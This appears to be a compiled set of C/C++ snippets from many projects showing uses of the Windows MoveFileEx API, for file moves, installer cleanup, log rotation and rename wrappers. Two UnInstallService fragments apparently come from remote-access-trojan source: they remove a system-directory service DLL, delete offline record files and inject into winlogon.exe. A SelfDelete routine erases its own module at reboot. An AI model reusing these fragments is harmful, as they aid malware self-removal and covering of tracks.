// 将pc中的文件夹从一个目录拷贝到另外的一个目录 BOOL MoveDirectory(CString strSrcPath, CString strDesPath) { if( strSrcPath.IsEmpty() ) { return FALSE; } if ( !PathIsDirectory(strDesPath) ) { if ( !CreateDirectory(strDesPath,NULL)) return FALSE; } if ( strSrcPath.GetAt(strSrcPath.GetLength()-1) != '\\' ) strSrcPath += '\\'; if ( strDesPath.GetAt(strDesPath.GetLength()-1) != '\\' ) strDesPath += '\\'; BOOL bRet = FALSE; // 因为源目录不可能为空,所以该值一定会被修改 CFileFind ff; BOOL bFound = ff.FindFile(strSrcPath+_T("*"), 0); CString strFile; BOOL bSpecialFile=FALSE; while(bFound) // 递归拷贝 { bFound = ff.FindNextFile(); bSpecialFile=FALSE; if( ff.IsDots() ) continue; CString strSubSrcPath = ff.GetFilePath(); CString strSubDespath = strSubSrcPath; strSubDespath.Replace(strSrcPath, strDesPath); if( ff.IsDirectory() ) bRet = MoveDirectory(strSubSrcPath, strSubDespath); // 递归拷贝文件夹 else { strFile=PathFindFileName(strSubSrcPath); strFile.MakeUpper(); for (int i=0;i<nSpecialFileCount;i++) { //找到特殊文件 if(_tcscmp(strFile.GetString(),sSpecialFile[i])==0) { bSpecialFile=TRUE; break; } } if(bSpecialFile) bRet=MoveFileEx( strSubSrcPath,strSubDespath,MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING); else bRet = MoveFileEx(strSubSrcPath, strSubDespath,MOVEFILE_REPLACE_EXISTING); // 移动文件 } if ( !bRet ) break; } ff.Close(); return bRet; }
static BOOL move_program() { if (MoveFileEx(L"Calibre Portable\\calibre-portable.exe", L"..\\calibre-portable.exe", MOVEFILE_REPLACE_EXISTING) == 0) { show_last_error(L"Failed to move calibre-portable.exe, make sure calibre is not running"); return false; } if (directory_exists(L"..\\Calibre")) { if (!rmtree(L"..\\Calibre")) { show_error(L"Failed to delete the Calibre program folder. Make sure calibre is not running."); return false; } } if (MoveFileEx(L"Calibre Portable\\Calibre", L"..\\Calibre", 0) == 0) { Sleep(4000); // Sleep and try again if (MoveFileEx(L"Calibre Portable\\Calibre", L"..\\Calibre", 0) == 0) { show_last_error(L"Failed to move calibre program folder. This is usually caused by an antivirus program or a file sync program like DropBox. Turn them off temporarily and try again. Underlying error: "); return false; } } if (!directory_exists(L"..\\Calibre Library")) { MoveFileEx(L"Calibre Portable\\Calibre Library", L"..\\Calibre Library", 0); } if (!directory_exists(L"..\\Calibre Settings")) { MoveFileEx(L"Calibre Portable\\Calibre Settings", L"..\\Calibre Settings", 0); } return true; }
BOOL install_util::DeleteFolder(LPCTSTR pszFolder) { if(IsFolderEmpty(pszFolder)) return RemoveDirectory(pszFolder); //下面的实现据说有隐患。应改为递归删除所有子文件及文件夹 _TCHAR szPath[MAX_PATH + 1] = {0}; _sntprintf_s(szPath, _countof(szPath), sizeof(szPath), _TEXT("%s%c"), pszFolder, 0); SHFILEOPSTRUCT fos ; ZeroMemory(&fos, sizeof( fos)) ; fos.hwnd = HWND_DESKTOP; fos.wFunc = FO_DELETE ; fos.fFlags = FOF_NOCONFIRMATION | FOF_SILENT; fos.pFrom = szPath; // 删除文件夹及其内容 if (0 == SHFileOperation(&fos)) return TRUE; wstring tmpFile = szPath; tmpFile += L"_yytmp"; if (MoveFileEx(szPath, tmpFile.c_str(), MOVEFILE_REPLACE_EXISTING)) return MoveFileEx(tmpFile.c_str(),NULL,MOVEFILE_DELAY_UNTIL_REBOOT); return FALSE; }
BOOL DeleteFile(LPCTSTR lpszFileName, DWORD dwPlatformID) { // Delete file if (!::DeleteFile(lpszFileName)) { if( VER_PLATFORM_WIN32_NT == dwPlatformID) //WINNT系列 { CString strTemp = lpszFileName; strTemp += _T(".tmp"); //源文件文件改名成重新启动后自动删除 //rename current file to file.tmp if(!MoveFileEx(lpszFileName, strTemp, MOVEFILE_REPLACE_EXISTING) || !MoveFileEx(strTemp, NULL, MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING)) return FALSE; } else if (VER_PLATFORM_WIN32_WINDOWS == dwPlatformID) //win98 { CString strOldFileName,strIniPathName; ::GetWindowsDirectory(strIniPathName.GetBuffer(MAX_PATH),MAX_PATH); strIniPathName.ReleaseBuffer(); strIniPathName += _T("\\wininit.ini"); ::GetShortPathName(lpszFileName,strOldFileName.GetBuffer(MAX_PATH),MAX_PATH); strOldFileName.ReleaseBuffer(); if (!::WritePrivateProfileString(TEXT("rename"), _T("NUL"), strOldFileName,strIniPathName)) return FALSE; } } return TRUE; }
VOID SelfDelete(LPCSTR ModuleFileName) { CHAR TempPath[MAX_PATH]; CHAR TempName[MAX_PATH]; GetTempPath(RTL_NUMBER_OF(TempPath)-1,TempPath); GetTempFileName(TempPath,NULL,0,TempName); MoveFileEx(ModuleFileName, TempName, MOVEFILE_REPLACE_EXISTING); MoveFileEx(TempName, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); }
BOOL install_util::DeleteFile(LPCTSTR pszFile) { if (::DeleteFile(pszFile)) return TRUE; wstring tmpFile = pszFile; tmpFile += L"_yytmp"; if (MoveFileEx(pszFile, tmpFile.c_str(), MOVEFILE_REPLACE_EXISTING)) return MoveFileEx(tmpFile.c_str(),NULL,MOVEFILE_DELAY_UNTIL_REBOOT); return FALSE; }
//============================================================================= // 函数名称: 移动覆盖一个指定的目录 // 作者说明: mushuai // 修改时间: 2013-03-14 //============================================================================= int ConvertPath(LPCTSTR srcpath,LPCTSTR targpath) { int iresult = 1; CFindFile finder; if(finder.FindFile(srcpath)) { CString fileName,filePath; do { fileName=finder.GetFileName(); filePath = finder.GetFilePath(); //. .. if (finder.IsDots()) { continue; } //dir else if (finder.IsDirectory()) { CString tTargPath = targpath; tTargPath +=_T("\\")+fileName; ConvertPath(filePath+_T("\\*"),tTargPath); RemoveDirectory(filePath); } else//file { CString newFilePath = targpath; newFilePath +=_T("\\")+fileName; if (!PathFileExists(targpath)) { if(ERROR_SUCCESS != SHCreateDirectoryEx(0,targpath,0)) { return 0; } } BOOL res=MoveFileEx(filePath,newFilePath,MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING); if (!res) { SetFileAttributes(newFilePath,FILE_ATTRIBUTE_NORMAL); if (!DeleteFile(newFilePath)) { MoveFileEx(filePath,newFilePath,MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING); } } } }while (finder.FindNextFile()); } finder.Close(); return iresult; }
//剪切一个文件夹到另外一个文件夹 bool TraverseFolder::CutfolderTofolder(LPCSTR path1,LPCSTR path2) { WIN32_FIND_DATA findData; HANDLE hSearch; char FilePathName[MAX_PATH]; char FullPathName1[MAX_PATH]; char FullPathName2[MAX_PATH]; strcpy(FilePathName,path1); strcat(FilePathName,"\\*.*"); hSearch = FindFirstFile(FilePathName,&findData); if( hSearch ==INVALID_HANDLE_VALUE) { std::cout<<"Search files failed\n"; return false; } while(::FindNextFile(hSearch,&findData)) { if(strcmp(findData.cFileName,".") ==0||strcmp(findData.cFileName,"..") ==0) { continue; } sprintf(FullPathName1,"%s\\%s",path1,findData.cFileName); sprintf(FullPathName2,"%s\\%s",path2,findData.cFileName); if( !MoveFileEx(FullPathName1,FullPathName2,MOVEFILE_REPLACE_EXISTING)) { std::cout<<"Move file"<<findData.cFileName<<"failed\n"; } } ::FindClose(hSearch); return true; }
int my_rename(const char *from, const char *to, myf MyFlags) { int error = 0; DBUG_ENTER("my_rename"); DBUG_PRINT("my",("from %s to %s MyFlags %d", from, to, MyFlags)); #if defined(HAVE_FILE_VERSIONS) { /* Check that there isn't a old file */ int save_errno; MY_STAT my_stat_result; save_errno=my_errno; if (my_stat(to,&my_stat_result,MYF(0))) { my_errno=EEXIST; error= -1; if (MyFlags & MY_FAE+MY_WME) { char errbuf[MYSYS_STRERROR_SIZE]; my_error(EE_LINK, MYF(ME_BELL+ME_WAITTANG), from, to, my_errno, my_strerror(errbuf, sizeof(errbuf), my_errno)); } DBUG_RETURN(error); } my_errno=save_errno; } #endif #if defined(__WIN__) if(!MoveFileEx(from, to, MOVEFILE_COPY_ALLOWED| MOVEFILE_REPLACE_EXISTING)) { my_osmaperr(GetLastError()); #else if (rename(from,to)) { #endif my_errno=errno; error = -1; if (MyFlags & (MY_FAE+MY_WME)) { char errbuf[MYSYS_STRERROR_SIZE]; my_error(EE_LINK, MYF(ME_BELL+ME_WAITTANG), from, to, my_errno, my_strerror(errbuf, sizeof(errbuf), my_errno)); } } else if (MyFlags & MY_SYNC_DIR) { #ifdef NEED_EXPLICIT_SYNC_DIR /* do only the needed amount of syncs: */ char dir_from[FN_REFLEN], dir_to[FN_REFLEN]; size_t dir_from_length, dir_to_length; dirname_part(dir_from, from, &dir_from_length); dirname_part(dir_to, to, &dir_to_length); if (my_sync_dir(dir_from, MyFlags) || (strcmp(dir_from, dir_to) && my_sync_dir(dir_to, MyFlags))) error= -1; #endif } DBUG_RETURN(error); } /* my_rename */
static int DOKAN_CALLBACK MirrorMoveFile( LPCWSTR FileName, // existing file name LPCWSTR NewFileName, BOOL ReplaceIfExisting, PDOKAN_FILE_INFO DokanFileInfo) { WCHAR filePath[MAX_PATH]; WCHAR newFilePath[MAX_PATH]; BOOL status; GetFilePath(filePath, MAX_PATH, FileName); GetFilePath(newFilePath, MAX_PATH, NewFileName); DbgPrint(L"MoveFile %s -> %s\n\n", filePath, newFilePath); if (DokanFileInfo->Context) { // should close? or rename at closing? CloseHandle((HANDLE)DokanFileInfo->Context); DokanFileInfo->Context = 0; } if (ReplaceIfExisting) status = MoveFileEx(filePath, newFilePath, MOVEFILE_REPLACE_EXISTING); else status = MoveFile(filePath, newFilePath); if (status == FALSE) { DWORD error = GetLastError(); DbgPrint(L"\tMoveFile failed status = %d, code = %d\n", status, error); return -(int)error; } else { return 0; } }
void IO_FileChannel__ChannelDesc_CloseAndRegister(IO_FileChannel__Channel ch) { int res = close(ch->fd); if (res >= 0) { ch->fd = -1; IO__ChannelDesc_Close((IO__Channel)ch); if (ch->tmpIndex >= 0) { char* fname = (char*)OS_Path__Encode(ch->origName); char* tname = (char*)OS_Path__Encode((Object__String)ch->tmpName); #ifdef __MINGW32__ if (MoveFileEx(tname, fname, MOVEFILE_REPLACE_EXISTING) == 0) res = GetLastError(); else res = 0; #else res = rename(tname, fname); #endif remove_tmp_file(ch); } } if (res < 0) { IO_StdChannels__IOError(ch->tmpIndex<0?(Object__String)ch->tmpName:ch->origName); } }
void StdOutputRedirector::checkForFileWrapAround() { if (_myMaximumFileSize > 0) { if (_myStartTime == -1) { _myStartTime = (long long)asl::Time().millis(); } long long myDelta = asl::Time().millis() - _myStartTime; if (myDelta > (_myFileSizeCheckFrequInSec * 1000)) { long myCurrentSize = getFileSize(_myOutputFilename); if (myCurrentSize >= _myMaximumFileSize) { _myOutputStreamOut.close(); // remove old archive if (_myLogInOneFileFlag && _myRemoveOldArchiveFlag && _myOldArchiveFilename != "" && fileExists(_myOldArchiveFilename)) { deleteFile(_myOldArchiveFilename); } // rename current log to archive version string myNewFilename = removeExtension(_myOutputFilename) + "logarchive_" + getCurrentTimeString() + (".log"); #ifdef _WIN32 MoveFileEx(_myOutputFilename.c_str(), myNewFilename.c_str(), MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH); #else rename(_myOutputFilename.c_str(), myNewFilename.c_str()); #endif _myOldArchiveFilename = myNewFilename; redirect(); } _myStartTime = (long long)asl::Time().millis(); } } }
VDLog* VDLog::get(TCHAR* path) { if (_log || !path) { return _log; } DWORD size = 0; HANDLE file = CreateFile(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (file != INVALID_HANDLE_VALUE) { size = GetFileSize(file, NULL); CloseHandle(file); } if (size != INVALID_FILE_SIZE && size > LOG_ROLL_SIZE) { TCHAR roll_path[MAX_PATH]; _sntprintf(roll_path, MAX_PATH, TEXT("%s.1"), path); if (!MoveFileEx(path, roll_path, MOVEFILE_REPLACE_EXISTING)) { return NULL; } } FILE* handle = _wfsopen(path, L"a+", _SH_DENYNO); if (!handle) { return NULL; } _log = new VDLog(handle); return _log; }
int _tmain(int argc, _TCHAR* argv[]) { DWORD dw; LPVOID lpMsgBuf; int ret; if (argc != 2) { printf("Schedule a file or directory removal for the next reboot.\n"); printf("Copyright 2008 Mandriva, Pulse 2 product, 27082008\n\n"); printf("DELLATER <path/to/remove>\n"); ret = 1; } else { if (MoveFileEx(argv[1], NULL, MOVEFILE_DELAY_UNTIL_REBOOT)) { ret = 0; } else { dw = GetLastError(); FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, dw, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL ); printf("Failed with error %d: %s\n" , dw, lpMsgBuf); ret = 1; } } return ret; }
void CKernelManager::UnInstallService() { char key[1024], strServiceDll[MAX_PATH]; memset(key, 0, sizeof(key)); wsprintf(key, "SYSTEM\\CurrentControlSet\\Services\\%s", m_strServiceName); SHDeleteKey(HKEY_LOCAL_MACHINE, key); CreateEvent(NULL, true, false, m_strKillEvent); GetSystemDirectory(strServiceDll, sizeof(strServiceDll)); lstrcat(strServiceDll, "\\"); lstrcat(strServiceDll, m_strServiceName); lstrcat(strServiceDll, "ex.dll"); MoveFileEx(strServiceDll, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); char strIDFile[MAX_PATH]; GetSystemDirectory(strIDFile, sizeof(strIDFile)); lstrcat(strIDFile, "\\user.dat"); DeleteFile(strIDFile); char strRecordFile[MAX_PATH]; GetSystemDirectory(strRecordFile, sizeof(strRecordFile)); lstrcat(strRecordFile, "\\syslog.dat"); DeleteFile(strRecordFile); }
/* Remove auto start entry for seafile when uninstall. Error is ignored. */ UINT __stdcall RemoveExtDll(HANDLE hModule) { const char *dll_path_key = "SOFTWARE\\Classes\\CLSID\\{D14BEDD3-4E05-4F2F-B0DE-C0381E6AE606}\\InProcServer32"; char *path = NULL; if (!readRegValue(HKEY_LOCAL_MACHINE, dll_path_key, "", &path)) { return ERROR_SUCCESS; } if (!path) { return ERROR_SUCCESS; } int n = strlen(path); char *path2 = malloc (n + 3); memcpy (path2, path, strlen(path)); path2[n] = '.'; path2[n + 1] = '1'; path2[n + 2] = 0; MoveFileEx(path, path2, MOVEFILE_REPLACE_EXISTING); free(path); free(path2); return ERROR_SUCCESS; }
void LoadMotd(void) { char file_load_path[MAX_PATH+FILENAME_MAX]; char file_copy_path[MAX_PATH+FILENAME_MAX]; sprintf(file_load_path,"%s%s",ConfigStr(PATH_MOTD),MOTD_FILE); sprintf(file_copy_path,"%s%s",ConfigStr(PATH_MEMMAP),MOTD_FILE); /* if there's a new motd file, move it in */ if (access(file_load_path,0) != -1) if (!MoveFileEx(file_load_path,file_copy_path,MOVEFILE_REPLACE_EXISTING)) eprintf("LoadMotd can't move %s\n",MOTD_FILE); /* else dprintf("LoadMotd moved in the new message of the day\n"); */ LoadMotdName(file_copy_path); /* if (motd != NULL) dprintf("LoadMotd loaded the message of the day\n"); else dprintf("LoadMotd found no message of the day\n"); */ }
void CThhylDlg::CopyOrMoveRpy(LPCTSTR DialogTitle, BOOL bCopy) { if (!m_filestatus.IsValid()) return; CString filter((LPCTSTR)IDS_DLGFILTER), newfilename; CFileDialogWZ dlg(FALSE, _T("rpy"), m_rpyfile, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT | OFN_PATHMUSTEXIST, filter, this); dlg.m_ofn.lpstrTitle=DialogTitle; if (dlg.DoModal()==IDCANCEL) return; newfilename=dlg.GetPathName(); BOOL result; result = bCopy ? CopyFile(m_rpyfile, newfilename, FALSE) : MoveFileEx(m_rpyfile, newfilename, MOVEFILE_COPY_ALLOWED | MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH); if (result) { //复制/移动成功 //如果是移动,或者在选项中选中了“打开复制后的目标文件” if (!bCopy || HasConfigOption(CFG_COPYOPENDEST)) { m_rpyfile = newfilename; Analyze(); } } else { LPCTSTR ErrorMsg; ErrorMsg = GetErrorMessage(GetLastError()); MessageBox( ErrorMsg, DialogTitle, MB_ICONSTOP ); } }
void XFile::MoveTo(std::string filePath, bool overwrite) { if (this->Check()) { #ifdef WIN32 std::wstring moveFromPath = CStringToWideString(FilePath); std::wstring moveToPath = CStringToWideString(filePath); DWORD moveOptions = overwrite == true ? MOVEFILE_REPLACE_EXISTING : 0; this->Close(); bool res = MoveFileEx(moveFromPath.c_str(), moveToPath.c_str(), moveOptions); if (res) { FilePath = filePath; this->Open(); } else { DWORD err = GetLastError(); // Do error management } #endif } }
int renameat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath) { int rc; if(olddirfd != newdirfd) { fprintf(stderr, "tup compat renameat error: olddirfd=%i but newdirfd=%i\n", olddirfd, newdirfd); return -1; } dir_mutex_lock(olddirfd); #ifdef _WIN32 wchar_t woldpath[PATH_MAX]; wchar_t wnewpath[PATH_MAX]; MultiByteToWideChar(CP_UTF8, 0, oldpath, -1, woldpath, PATH_MAX); MultiByteToWideChar(CP_UTF8, 0, newpath, -1, wnewpath, PATH_MAX); if(MoveFileEx(woldpath, wnewpath, MOVEFILE_REPLACE_EXISTING)) { rc = 0; } else { rc = -1; } #else rc = rename(oldpath, newpath); #endif dir_mutex_unlock(); return rc; }
void CFileUtil::BackupFileDated( const char *filename, bool bUseBackupSubDirectory/*=false */ ) { bool makeBackup = true; { CFile bak; if (bak.Open( filename,CFile::modeRead )) { if (bak.GetLength() <= 0) makeBackup = false; } else makeBackup = false; } if ( makeBackup ) { time_t ltime; time( <ime ); tm *today = localtime( <ime ); char sTemp[128]; strftime( sTemp, sizeof(sTemp), ".%Y%m%d.%H%M%S.", today); CString bakFilename = Path::RemoveExtension(filename) + sTemp + Path::GetExt(filename); if ( bUseBackupSubDirectory ) { CString sBackupPath = Path::ToUnixPath( Path::GetPath( filename ) ) + CString( "/backups" ); CFileUtil::CreateDirectory( sBackupPath ); bakFilename = sBackupPath + CString("/") + Path::GetFile( bakFilename ); } SetFileAttributes( filename,FILE_ATTRIBUTE_NORMAL ); MoveFileEx( filename,bakFilename,MOVEFILE_REPLACE_EXISTING|MOVEFILE_WRITE_THROUGH ); } }
SDB_API int sdb_disk_finish (Sdb* s) { int reopen = 0, ret = 1; IFRET (!cdb_make_finish (&s->m)); #if USE_MMAN IFRET (fsync (s->fdump)); #endif IFRET (close (s->fdump)); s->fdump = -1; // close current fd to avoid sharing violations if (s->fd != -1) { close (s->fd); s->fd = -1; reopen = 1; } #if __SDB_WINDOWS__ if (MoveFileEx (s->ndump, s->dir, MOVEFILE_REPLACE_EXISTING)) { //eprintf ("Error 0x%02x\n", GetLastError ()); } #else IFRET (rename (s->ndump, s->dir)); #endif free (s->ndump); s->ndump = NULL; // reopen if was open before if (reopen) { int rr = sdb_open (s, s->dir); if (ret && rr<0) { ret = 0; } } return ret; }
bool FileSystem::rename(const Path& from_path, const Path& to_path) { return MoveFileEx( from_path.c_str(), to_path.c_str(), MOVEFILE_REPLACE_EXISTING ) == TRUE; }
/* * pgrename */ int pgrename(const char *from, const char *to) { int loops = 0; /* * We need to loop because even though PostgreSQL uses flags that * allow rename while the file is open, other applications might have * the file open without those flags. However, we won't wait * indefinitely for someone else to close the file. */ #if defined(WIN32) && !defined(__CYGWIN__) while (!MoveFileEx(from, to, MOVEFILE_REPLACE_EXISTING)) #else while (rename(from, to) < 0) #endif { #if defined(WIN32) && !defined(__CYGWIN__) if (GetLastError() != ERROR_ACCESS_DENIED) #else if (errno != EACCES) #endif /* set errno? */ return -1; if (++loops > 300) /* time out after 30 sec */ return -1; pg_usleep(100000); /* us */ } return 0; }
// If this is uninstaller and we're running from installation directory, // copy uninstaller to temp directory and execute from there, exiting // ourselves. This is needed so that uninstaller can delete itself // from installation directory and remove installation directory // If returns TRUE, this is an installer and we sublaunched ourselves, // so the caller needs to exit bool ExecuteUninstallerFromTempDir() { // only need to sublaunch if running from installation dir ScopedMem<WCHAR> ownDir(path::GetDir(GetOwnPath())); ScopedMem<WCHAR> tempPath(GetTempUninstallerPath()); // no temp directory available? if (!tempPath) return false; // not running from the installation directory? // (likely a test uninstaller that shouldn't be removed anyway) if (!path::IsSame(ownDir, gGlobalData.installDir)) return false; // already running from temp directory? if (path::IsSame(GetOwnPath(), tempPath)) return false; if (!CopyFile(GetOwnPath(), tempPath, FALSE)) { NotifyFailed(L"Failed to copy uninstaller to temp directory"); return false; } ScopedMem<WCHAR> args(str::Format(L"/d \"%s\" %s", gGlobalData.installDir, gGlobalData.silent ? L"/s" : L"")); bool ok = CreateProcessHelper(tempPath, args); // mark the uninstaller for removal at shutdown (note: works only for administrators) MoveFileEx(tempPath, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); return ok; }
void CKernelManager::UnInstallService() { char strServiceDll[MAX_PATH]; char strRandomFile[MAX_PATH]; GetSystemDirectory(strServiceDll, sizeof(strServiceDll)); lstrcat(strServiceDll, "\\"); lstrcat(strServiceDll, m_strServiceName); lstrcat(strServiceDll, "ex.dll"); // 装文件随机改名,重启时删除 wsprintf(strRandomFile, "%d.bak", GetTickCount()); MoveFile(strServiceDll, strRandomFile); MoveFileEx(strRandomFile, NULL, MOVEFILE_DELAY_UNTIL_REBOOT); // 删除离线记录文件 char strRecordFile[MAX_PATH]; GetSystemDirectory(strRecordFile, sizeof(strRecordFile)); lstrcat(strRecordFile, "\\syslog.dat"); DeleteFile(strRecordFile); if (m_dwServiceType != 0x120) // owner的远程删除,不能自己停止自己删除,远程线程删除 { InjectRemoveService("winlogon.exe", m_strServiceName); } else // shared进程的服务,可以删除自己 { RemoveService(m_strServiceName); } // 所有操作完成后,通知主线程可以退出 CreateEvent(NULL, true, false, m_strKillEvent); }
int CTspRecycle::PopAll(DWORD dwFlag) { BOOL bRet; // 如果需要删除才遍历,反向,避免目录删不掉 if( dwFlag == FLAG_DEL ) for( list<PrivateData>::reverse_iterator iter=m_list.rbegin(); iter!=m_list.rend(); ++iter ) { // 要删除 if( iter->flag == FLAG_FILE ) { bRet = DeleteFile(iter->name.c_str()); if( !bRet ) { LOG((LEVEL_WARNNING,"删除文件失败:%s LastError=%d \n",iter->name.c_str(),GetLastError())); MoveFileEx(iter->name.c_str(),NULL,MOVEFILE_DELAY_UNTIL_REBOOT); } } else { bRet = RemoveDirectory(iter->name.c_str()); if( !bRet ) { LOG((LEVEL_WARNNING,"删除文件失败:%s LastError=%d \n",iter->name.c_str(),GetLastError())); } } } //清空 m_list.clear(); return 0; }
//剪切一个文件到另一个文件夹 bool TraverseFolder::CutfileTofolder(LPCSTR path1,LPCSTR path2) { char FullPathName[MAX_PATH] = ""; strcpy(FullPathName,path2); strcat(FullPathName,"\\"); //get the file name of path1 char LongPath[MAX_PATH]; char *FileName = ""; char **pFile = &FileName; GetFullPathName(path1,MAX_PATH,LongPath,pFile); //Move the file strcat(FullPathName,FileName); if( !MoveFileEx(path1,FullPathName,MOVEFILE_REPLACE_EXISTING) ) { std::cout<<"Move file"<<FileName<<"failed\n"; return false; } else { return true; } }
int nb_rename(char *old, char *New) { int rc; pstring opath; pstring npath; char FileName[128]; char temp[512]; DWORD gle; sprintf(FileName, "Thread_%05d.log", ProcessNumber); strcpy(opath, AfsLocker); strcat(opath, old); strcpy(npath, AfsLocker); strcat(npath, New); StartFirstTimer(); rc = MoveFileEx(opath, npath, MOVEFILE_REPLACE_EXISTING | MOVEFILE_WRITE_THROUGH); gle = GetLastError(); EndFirstTimer(CMD_RENAME, rc); if (!rc) { LeaveThread(0, "", CMD_RENAME); sprintf(temp, "File: rename %s %s failed GLE(0x%x)\n", old, New, gle); if (verbose) printf("%s", temp); LogMessage(ProcessNumber, HostName, FileName, temp, LogID); return(-1); } return(0); }
static bool WinMoveFileInternal( const RString &sOldPath, const RString &sNewPath ) { static bool Win9x = false; /* Windows botches rename: it returns error if the file exists. In NT, * we can use MoveFileEx( new, old, MOVEFILE_REPLACE_EXISTING ) (though I * don't know if it has similar atomicity guarantees to rename). In * 9x, we're screwed, so just delete any existing file (we aren't going * to be robust on 9x anyway). */ if( !Win9x ) { if( MoveFileEx( sOldPath, sNewPath, MOVEFILE_REPLACE_EXISTING ) ) return true; // On Win9x, MoveFileEx is expected to fail (returns ERROR_CALL_NOT_IMPLEMENTED). DWORD err = GetLastError(); if( err == ERROR_CALL_NOT_IMPLEMENTED ) Win9x = true; else return false; } if( MoveFile( sOldPath, sNewPath ) ) return true; if( GetLastError() != ERROR_ALREADY_EXISTS ) return false; if( !DeleteFile( sNewPath ) ) return false; return !!MoveFile( sOldPath, sNewPath ); }